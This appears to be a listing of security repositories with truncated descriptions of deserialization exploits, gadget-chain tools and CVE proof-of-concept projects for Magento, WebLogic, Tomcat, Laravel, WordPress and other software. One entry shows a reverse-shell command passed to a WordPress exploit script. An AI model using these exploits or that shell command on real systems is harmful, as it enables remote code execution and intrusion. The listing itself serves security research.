session_reaper_lab

CVE-2025-54236 - SessionReaper Lab Docker environment for practical demonstration of CVE-2025-54236 SessionReaper: PHP Object Deserialization leading to RCE in Magento Open Source 2.4.7. Exclusive use in controlled environment. Do not run against systems without explicit authorization. About the...

mojarragadget

mojarragadget description We found a new Java gadget chain in the Mojarra Library, this repo contains 2 POC to reproduce the exploit on version 2.3 and 3.0. More information here: https://www.synacktiv.com/publications/finding-gadgets-like-its-2015-part-1.html...

ysonet

YSoNet generates .NET deserialization payloads for authorized security research, with an interactive wizard and a command line for repeatable work. Interactive configuration: choose a gadget or plugin, get help for each setting, and copy the equivalent command. Searchable discovery: filter gadget...

effective-waffle

effective-waffle yet another sleep encryption thing. also used the default github repo name for this one. TpAllocWork + TpPostWork + TpWaitForWork + TpReleaseWork to create + execute + clean the callback. The callback is some scuffed assembly that queues up a ton of rop gadgets that will pop...

gadgetinspector

Gadget Inspector This project inspects Java libraries and classpaths for gadget chains. Gadgets chains are used to construct exploits for deserialization vulnerabilities. By automatically discovering possible gadgets chains in an application's classpath penetration testers can quickly construct...

CVE-2020-2555

CVE-2020-2555 Weblogic com.tangosol.util.extractor.ReflectionExtractor RCE com.supeream.CVE20202555 / author:Y4er.com gadget: BadAttributeValueExpException.readObject com.tangosol.util.filter.LimitFilter.toString com.tangosol.util.extractor.ChainedExtractor.extract...

CVE-2019-12814

CVE-2019-12814 CVE-2019-12814:Jackson JDOM XSLTransformer Gadget...

CVE-2020-2883

what's this This project which based weblogiccmd is a poc for CVE-2020-2883. Two Gadget First: ObjectInputStream.readObject PriorityQueue.readObject PriorityQueue.heapify PriorityQueue.siftDown siftDownUsingComparator com.tangosol.util.comparator.ExtractorComparator.compare...

CVE-2025-24813-PoC

CVE-2025-24813-PoC CVE-2025-24813 affects Apache Tomcat - if it's a vulnerable version and spectacularly misconfigured, an attacker can get RCE with one GET and one POST. More info here This is Yiheng An, Jun Li, Qiang Liu, Haozhe Zhang, Qi Deng's script from the recent writeup modified to accept...

CVE-2026-25632

CVE-2026-25632 — JSON Deserialization RCE in REST API Bugfix Challenge Inspired by a real 2026 vulnerability CVSS 10.0, actively exploited Based on: CVE-2026-25632 — Remote Code Execution via unsafe type-driven JSON deserialization discovered in the EPyT-Flow water-network simulation REST API and...

CVE-2026-69836-EXP

CVE-2026-69836 Entra ID Unauthenticated RCE Proof of Concept Overview CVE-2026-69836 is a critical unauthenticated remote code execution vulnerability in Microsoft Entra ID due to improper deserialization of untrusted data CWE-502. The flaw allows attackers to execute arbitrary code over the...

Weblogic_CVE-2020-2883_POC

POC for weblogic CVE-2020-2883 poc1: javax.management.BadAttributeValueExpException.readObject com.tangosol.internal.sleepycat.persist.evolve.Mutations.toString java.util.concurrent.ConcurrentSkipListMap$SubMap.size java.util.concurrent.ConcurrentSkipListMap$SubMap.isBeforeEnd...

CVE-2026-40860

camel-jms JMS ObjectMessage Unsafe Deserialization Reproducer CVE-2026-40860 This project demonstrates a Java deserialization vulnerability in Apache Camel's camel-jms component and, transitively, camel-sjms, camel-sjms2, camel-amqp, camel-activemq, camel-activemq6, tracked as CVE-2026-40860...

wordpress-php-object-helper

wordpress-php-object-helper About You have a Known plugin with a PHP object exploit?, but you need to determine which library to use to exploit the issue and run with phpggc. This should help you out. Example Output $ python3 finder.py -u http://wordpress.lan -f wp-plugins.lst Processing URLs:...

POC_CVE-2020-2555

POCCVE-2020-2555 poc for CVE-2020-2555 3 part: Client & Server: to build object and send to Server, trigger gadgetchain. Use it for build owner object. Attack: send object via T3 protocol with pwntools...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Originally, CVE-2023–26326 required gadget chains to exploit it as a deserialization vulnerability. This method is no longer feasible on newer WordPress sites running on PHP 8+; however, by chaining with...

CVE-2019-17564-FastJson-Gadget

CVE-2019-17564 FastJson + SpringFramework Gadget for Dubbo 2.7.3 Our full write-up is available at https://www.checkmarx.com/blog/apache-dubbo-unauthenticated-remote-code-execution-vulnerability Note that this is not an exploit ; it is a POC gadget chain used in an exploit used to demonstrate...

CVE-2018-15133-PoC

CVE-2018-15133-PoC This Python script implements a remote code execution RCE exploit for vulnerable Laravel applications through insecure deserialization, based on the CVE-2018-15133 vulnerability. The exploit takes advantage of a vulnerability in Laravel versions 5.5.40 and earlier, and 5.6.0 to...

CVE-2019-18935-exploit-study

CVE-2019-18935-exploit-study In-depth study of CVE-2019-18935 affecting Telerik UI for ASP.NET AJAX. Covers .NET deserialization vulnerability, RadAsyncUpload handler, gadget chains, mixed-mode assembly exploitation, and mitigation strategies...

CVE-2026-33439

🐞 CVE-2026-33439: OpenAM Pre-Auth RCE via jato.clientSession Deserialization Human insight + AI-assisted analysis + reverse engineering + advisory → exploit First publicly shared exploit implementation for CVE-2026-33439 Unauthenticated Java deserialization vulnerability in ForgeRock OpenAM...